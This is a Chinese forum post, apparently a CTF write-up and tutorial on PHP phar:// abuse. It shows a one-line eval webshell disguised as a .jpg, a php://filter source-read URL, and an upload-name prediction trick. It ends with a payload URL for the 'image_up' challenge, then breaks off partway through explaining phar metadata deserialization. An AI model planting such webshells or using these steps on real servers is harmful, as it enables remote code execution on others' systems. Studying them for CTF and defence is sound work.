Phar的简述

翻译自手册:
phar是什么?Phar归档最好的特点是可以方便地将多个文件组合成一个文件。因此,phar归档提供了一种方法,可以将完整的PHP应用程序分发到单个文件中,并从该文件运行它,而不需要将其提取到磁盘。此外,PHP可以像执行任何其他文件一样轻松地执行phar归档,无论是在命令行上还是在web服务器上。

利用姿势一:绕过上传限制

例子

使用Phar://伪协议流可以Bypass一些上传的waf,大多数情况下和文件包含一起使用,就类似于我们的压缩包(其实就是一个压缩包),只不过我们换了一种方式去执行而已
写一段小代码测试一下:
test.php

<?php @eval($_POST["cmd"]);?>

然后将test.php压缩,将压缩文件改后缀为.jpg
index.php

<?php 
include('phar://./test.jpg/test.php');
?>

成功包含

例题:安恒11月月赛:image_up

信息收集:

http://101.71.29.5:10043/index.php?page=login
尝试伪协议读取一波源码

http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=

base64解码
index.php

<?php
  if(isset($_GET['page'])){
    if(!stristr($_GET['page'],"..")){
      $page = $_GET['page'].".php";
      include($page);
    }else{
      header("Location: index.php?page=login");
    }
  }else{
    header("Location: index.php?page=login");
  }

login.php

<?php
  if(isset($_POST['username'])&&isset($_POST['password'])){
    header("Location: index.php?page=upload");
    exit();
  }
?>

upload.php

<?php
    $error = "";
    $exts = array("jpg","png","gif","jpeg");
    if(!empty($_FILES["image"]))
    {
        $temp = explode(".", $_FILES["image"]["name"]);
        $extension = end($temp);
        if((@$_upfileS["image"]["size"] < 102400))
        {
            if(in_array($extension,$exts)){
              $path = "uploads/".md5($temp[0].time()).".".$extension;
              move_uploaded_file($_FILES["image"]["tmp_name"], $path);
              $error = "上传成功!";
            }
        else{
            $error = "上传失败!";
        }

        }else{
          $error = "文件过大,上传失败!";
        }
    }

?>

分析:

从upload.php可以看出只能上传("jpg","png","gif","jpeg")文件,而且再index.php中在包含的文件后面强行加了".php",直接包含图片文件明显不可以了,于是就用到了我们的Phar伪协议流,将我们的一句话木马打包成压缩包,然后再将后缀改为.jpg,这样就能通过Phar伪协议去包含我们的一句话木马了。
这题有一个坑点,就是时间戳的问题:

$path = "uploads/".md5($temp[0].time()).".".$extension;

这里要time()+8*3600,时区不同所以要加上8小时

payload:

/index.php?page=phar://./uploads/6b19a5399b7d34fbb3c509ca8c25fd89.jpg/1

菜刀连接即可getflag

利用姿势二:Phar反序列化漏洞

我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。

Phar文件结构

Phar文件主要包含三至四个部分:

1. A stub

stub的基本结构:<?php HALT_COMPILER();,stub必须以HALT_COMPILER();来作为结束部分,否则Phar拓展将不会识别该文件。

2. a manifest describing the contents

Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以反序列化的形式储存,这里就是漏洞利用的关键点

3. the file contents

被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化

4. a signature for verifying Phar integrity

签名格式

小测试

既然都知道Phar文件的基本结构了,那么我们就写一段代码来测试一下

点击收藏 | 4 关注 | 1
登录 后跟帖